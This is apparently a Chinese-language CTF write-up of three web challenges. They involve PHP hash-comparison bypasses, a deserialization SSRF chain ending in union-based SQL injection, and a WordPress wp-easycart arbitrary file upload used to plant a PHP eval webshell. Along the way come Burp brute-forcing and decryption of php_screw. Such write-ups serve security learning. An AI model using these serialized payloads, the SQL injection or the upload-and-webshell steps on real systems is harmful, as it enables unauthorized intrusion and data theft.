进入题目空白一片首先老套路第一直接f12无果、查看源代码无果、该看的都看了没留下什么痕迹那就是直接扫描目录。
扫出来4个目录逐个点开在index.php~发现线索
代码审计
if (isset($_GET["param1"])) if ($_GET["param1"] == hash("md4", $_GET["param1"]))
通过对比md5的漏洞分析PHP在处理科学计数法的时候如果是0exxx会当成0,所以如果一个数字是0exxx它经过md4最后也是0exxx,那么他们就(==弱等于),在这里需要说明一下0e后面必须是数字才能实现(==弱等于)。“0e251288019”和“0e898201062”都可以绕过,还要说明一下是is_numeric()函数有漏洞,当数字里面有e的话is_numeric()函数会当成xxx*10^xxx相当于科学计数法。
所以得出param1=0e251288019
if (isset($_GET['param2']) && isset($_GET['param3']))
{ if ($_GET['param2'] != $_GET['param3'] &&md5($_GET['param2'])==md5(md5($_GET['param3'])))
双md5加密,一个值的md5后再md5要与另外一个值一样,可以输入param3随便给个值,然后param2为param3的md5值就行。
然后得出prarma2=e9510081ac30ffa83f10b68cde1cac07¶ma3=6666
if(isset($_GET['param4']) && isset($_GET['param5'])){ if($_GET['param4'] != $_GET['param5'] && md5($_GET['param4'])===md5($_GET['param5'])){ echo $flag;
最后一个是MD5强等于类型前面两个是MD5弱类型
弱类型:两个MD5的值一样就可以不要求类型一样
强等于:两个MD5的数据必须是同一类型比如说prarma2=e9510081ac30ffa83f10b68cde1cac07¶ma3=6666这个的值一个是数值一个是字母不是同一类型不能进行绕过,然后可以使用数组绕过
prarma4[]=1¶ma5[]=2
最后得出
?param1=0e251288019¶m2=e9510081ac30ffa83f10b68cde1cac07¶m3=6666¶m4[]=1¶m5[]=2
EzPHP
打开直接代码审计
首先看到最后一段是用d来传参进行反序列化然后看到wakeup函数先进行过滤过滤内容为不允许http://127.0.0.1/、http://localhost/链接,以及不允许使用file协议以及dict协议,并且要求类成员变量UserAgent值为‘DAOKOUSHAOJI’
然后现在得出线索是不允许直接使用本地ip127.0.0.1访问。第二个线索是UserAgent值必须要等于‘DAOKOUSHAOJI’,然后直接写php序列化脚本
<?php
class Chrome
{
private $url;
private $UserAgent;
private $xff;
private $Cookie;
public function __construct()
{
$this->url = "http://127.0.0.1:1000";#由于不能直接用127.0.0.1访问可以添加端口进行绕过。
$this->UserAgent = "DAOKOUSHAOJI";
}
}
$d = new Chrome();
echo urlencode(serialize($d));
#正常序列化得出结果是:O:6:"Chrome":4:{s:11:" Chrome url";s:21:"http://127.0.0.1:1000";s:17:" Chrome UserAgent";s:12:"DAOKOUSHAOJI";s:11:" Chrome xff";N;s:14:" Chrome Cookie";N;}
#经过url编码得出的结果是:O%3A6%3A%22Chrome%22%3A4%3A%7Bs%3A11%3A%22%00Chrome%00url%22%3Bs%3A21%3A%22http%3A%2F%2F127.0.0.1%3A1000%22%3Bs%3A17%3A%22%00Chrome%00UserAgent%22%3Bs%3A12%3A%22DAOKOUSHAOJI%22%3Bs%3A11%3A%22%00Chrome%00xff%22%3BN%3Bs%3A14%3A%22%00Chrome%00Cookie%22%3BN%3B%7D
正常输入反序列化会出现以下,所以要进行url编码进行绕过
用URL进行传参回显了一个null空,说明进入的127.0.0.1:1000的端口不对,那就直接上bp进行爆破端口
选择要爆破的地方,直接选择1000那个地方先按Audo然后在选中1000按add
设置爆破从1000到9999端口
爆出1234端口与其他端口不一样直接继续序列化访问1234端口
<?php
class Chrome
{
private $url;
private $UserAgent;
private $xff;
private $Cookie;
public function __construct()
{
$this->url = "http://127.0.0.1:1234";#填上刚刚爆出的端口1234。
$this->UserAgent = "DAOKOUSHAOJI";
}
}
$d = new Chrome();
echo urlencode(serialize($d));
#运行结果:O%3A6%3A%22Chrome%22%3A4%3A%7Bs%3A11%3A%22%00Chrome%00url%22%3Bs%3A21%3A%22http%3A%2F%2F127.0.0.1%3A1234%22%3Bs%3A17%3A%22%00Chrome%00UserAgent%22%3Bs%3A12%3A%22DAOKOUSHAOJI%22%3Bs%3A11%3A%22%00Chrome%00xff%22%3BN%3Bs%3A14%3A%22%00Chrome%00Cookie%22%3BN%3B%7D
提示不是本地用户
然后可以用xff伪造本地用户继续序列化
<?php
class Chrome
{
private $url;
private $UserAgent;
private $xff;
private $Cookie;
public function __construct()
{
$this->url = "http://127.0.0.1:1234";#填上刚刚爆出的端口1234。
$this->UserAgent = "DAOKOUSHAOJI";
$this->xff = "127.0.0.1";#伪造本地用户
}
}
$d = new Chrome();
echo urlencode(serialize($d));
#运行结果:
O%3A6%3A%22Chrome%22%3A4%3A%7Bs%3A11%3A%22%00Chrome%00url%22%3Bs%3A21%3A%22http%3A%2F%2F127.0.0.1%3A1234%22%3Bs%3A17%3A%22%00Chrome%00UserAgent%22%3Bs%3A12%3A%22DAOKOUSHAOJI%22%3Bs%3A11%3A%22%00Chrome%00xff%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A14%3A%22%00Chrome%00Cookie%22%3BN%3B%7D
此时可以看到页面显示了用户名可Number,类定义时有个cookie参数,可以猜测是通过cookie查询数据库中当前用户的信息
且用户为guest时,通目代码构造函数中$this->Cookie="uname=Z3Vlc3Q=";
发现了cookie的格式参数为uname,然后直接猜最正常的用户值为uname=admin(base64)
继续序列化
<?php
class Chrome
{
private $url;
private $UserAgent;
private $xff;
private $Cookie;
public function __construct()
{
$this->url = "http://127.0.0.1:1234";#填上刚刚爆出的端口1234。
$this->UserAgent = "DAOKOUSHAOJI";
$this->xff = "127.0.0.1";#伪造本地用户
$this->Cookie="uname=YWRtaW4=";#admin
}
}
$d = new Chrome();
echo urlencode(serialize($d));
#运行结果:O%3A6%3A%22Chrome%22%3A4%3A%7Bs%3A11%3A%22%00Chrome%00url%22%3Bs%3A21%3A%22http%3A%2F%2F127.0.0.1%3A1234%22%3Bs%3A17%3A%22%00Chrome%00UserAgent%22%3Bs%3A12%3A%22DAOKOUSHAOJI%22%3Bs%3A11%3A%22%00Chrome%00xff%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A14%3A%22%00Chrome%00Cookie%22%3Bs%3A14%3A%22uname%3DYWRtaW4%3D%22%3B%7D
进入了管理界面,看看是否存在sql注入,
直接输入admin' 转base64
<?php
class Chrome
{
private $url;
private $UserAgent;
private $xff;
private $Cookie;
public function __construct()
{
$this->url = 'http://127.0.0.1:1234';#爆出的端口1234
$this->UserAgent ='DAOKOUSHAOJI';#要求输入的用户
$this->xff ='127.0.0.1';#伪造本地登录
$this->Cookie ="uname=YWRtaW4n";#admin'
}
}
$w = new Chrome();
echo urlencode(serialize($w));
#运行结果:O%3A6%3A%22Chrome%22%3A4%3A%7Bs%3A11%3A%22%00Chrome%00url%22%3Bs%3A21%3A%22http%3A%2F%2F127.0.0.1%3A1234%22%3Bs%3A17%3A%22%00Chrome%00UserAgent%22%3Bs%3A12%3A%22DAOKOUSHAOJI%22%3Bs%3A11%3A%22%00Chrome%00xff%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A14%3A%22%00Chrome%00Cookie%22%3Bs%3A14%3A%22uname%3DYWRtaW4n%22%3B%7D
,直接出现了sql数据报错信息,说明是可以进行sql注入的。
然后正常的查库查表都不显示。查列的时候才有回响
查库显示错误
查列 admin' order by 3 # 直接从第三列开始查,直到查到 admin' order by 5 # 的时候回显报错说明只有4列
直接开查 admin' union select 1,flag,3,4 from flag #
没反应,通过大佬的wp才知道要去n才能进行查询 admi' union select 1,flag,3,4 from flag #
最终的序列化
<?php
class Chrome
{
private $url;
private $UserAgent;
private $xff;
private $Cookie;
public function __construct()
{
$this->url = 'http://127.0.0.1:1234';#爆出的端口1234
$this->UserAgent ='DAOKOUSHAOJI';#要求输入的用户
$this->xff ='127.0.0.1';#伪造本地登录
$this->Cookie ="uname=YWRtaScgdW5pb24gc2VsZWN0IDEsZmxhZywzLDQgZnJvbSBmbGFnICM=";
#admi' union select 1,flag,3,4 from flag #
}
}
$w = new Chrome();
echo urlencode(serialize($w));
#运行结果:O%3A6%3A%22Chrome%22%3A4%3A%7Bs%3A11%3A%22%00Chrome%00url%22%3Bs%3A21%3A%22http%3A%2F%2F127.0.0.1%3A1234%22%3Bs%3A17%3A%22%00Chrome%00UserAgent%22%3Bs%3A12%3A%22DAOKOUSHAOJI%22%3Bs%3A11%3A%22%00Chrome%00xff%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A14%3A%22%00Chrome%00Cookie%22%3Bs%3A62%3A%22uname%3DYWRtaScgdW5pb24gc2VsZWN0IDEsZmxhZywzLDQgZnJvbSBmbGFnICM%3D%22%3B%7D
直接出flag
screw
进入题目首先老套路第一直接f12无果、查看源代码无果、该看的都看了没留下什么痕迹那就是直接扫描目录。
扫出一大堆然后挑出了一个两个有用的页面一个是登录页面一个是提示页面
flag.php界面
登录界面,尝试注册账号但是只有找回密码没有注册账号直接返回主界面
发现通过aaa试看看是不是用户名,直接搞上bp爆破密码
先按clear清空所有然后再选中pwd里面的1234直接按add添加爆破
直接添加字典开爆。我这里用的是简单弱口令。
爆出了a123456密码
直接登录进来啥也没有
然后通过在flag.php里面的提示说可以通过插件进行下一步,然后通过网上了解了一个购物插件的漏WordPress插件购物车3.0.4 - 不受限制的任意文件上传 - PHP网络应用程序漏洞利用 (exploit-db.com)
直接复制粘贴代码改一下链接保存为html文件保存
<form action="http://9630e303.clsadp.com/wp-content/plugins/wp-easycart/inc/amfphp/administration/banneruploaderscript.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="datemd5" value="1">
<input type="file" name="Filedata">
<input value="Upload!" type="submit">
</form>
#http://9630e303.clsadp.com 这个链接是环境链接
保存好之后一定要一直登录界面在点开保存好的插件漏洞代码,不然上传不上去
直接上传一句话木马
<?php
@eval($_POST['123']);
?>
上传成功后上传的马在
http://环境地址/wp-content/plugins/wp-easycart/products/banners/
这个地方
直接用工具连接,进入看到flag被加密了,加密的方式是screw,然后直接找screw.so这个文件
直接点虚拟终端进入liunx界面找
在liunx界面下输入 find / | grep screw.so,回显位置在/usr/lib/php5/20121212/php_screw.so
直接去路径显示错误因为这是一个文件不是文件夹
返回下一层/usr/lib/php5/20121212/直接下载文件拖进IDA找秘钥也把flag.php下载下来备用
一般秘钥都在这个位置_pm9screw_ext_fopen
直接按F5进入编译界面双击黄色的地方
进入到这个界面在双击黄色的地方
这个地方就是秘钥
这些是按照大佬的方法找到了秘钥但是本人不会用php screw 破解 然后再网上找了个python的脚本破解https://github.com/Slzdude/php_screw-decrypt
下载好直接用
先把flag.php拖进文件夹里
直接python decode_screw.py flag.php即可
运行完之后会多了个flag.php.bak不用管直接把flag.php改为flag.txt查看即可出flag